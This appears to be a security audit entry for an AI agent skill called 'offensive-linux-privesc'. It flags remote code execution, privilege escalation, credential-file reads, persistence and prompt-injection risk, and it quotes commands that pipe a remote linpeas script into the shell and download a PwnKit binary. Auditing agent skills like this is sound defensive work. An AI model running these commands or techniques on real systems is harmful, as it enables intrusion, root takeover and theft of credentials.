The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute scripts directly from the internet.
Evidence: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh pipes a remote script into the shell.
Evidence: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit downloads a binary for direct execution.
[PRIVILEGE_ESCALATION]: The core functionality focuses on acquiring root access through various system exploits.
Evidence: Detailed steps for abusing SUID/SGID binaries, Linux capabilities (e.g., cap_setuid, cap_dac_override), and sudo misconfigurations.
Evidence: Instructions for exploiting kernel vulnerabilities such as DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), and PwnKit (CVE-2021-4034).
[COMMAND_EXECUTION]: The skill utilizes powerful shell commands to alter system configurations.
Evidence: Commands to modify /etc/passwd to add new root users.
Evidence: Mounting the host root filesystem within a Docker container to bypass security boundaries.
[DATA_EXFILTRATION]: The skill targets and reads highly sensitive system files.
Evidence: Instructions to enumerate and read /etc/shadow, private SSH keys (id_rsa, id_ed25519), and environment files (.env).
[PERSISTENCE]: The skill provides methods for maintaining long-term access to the system.
Evidence: Modifying cron jobs and injecting payloads into writable system scripts.
Evidence: Appending persistent root user accounts to the password database.
[DYNAMIC_EXECUTION]: The skill involves compiling exploit code on the target system at runtime.
Evidence: Use of gcc to compile C-based exploits for DirtyPipe and PwnKit.
[INDIRECT_PROMPT_INJECTION]: The skill processes output from various system tools, creating an attack surface for instructions embedded in command results.
Ingestion points: Processes data from sudo -l, find, getcap, and cron files (SKILL.md).
Boundary markers: Absent. The agent is not instructed to isolate or validate tool output.
Capability inventory: High-privilege shell execution, file modification, network requests, and compilation tools (SKILL.md).
Sanitization: Absent. No filtering or escaping is applied to ingested command output.

offensive-linux-privesc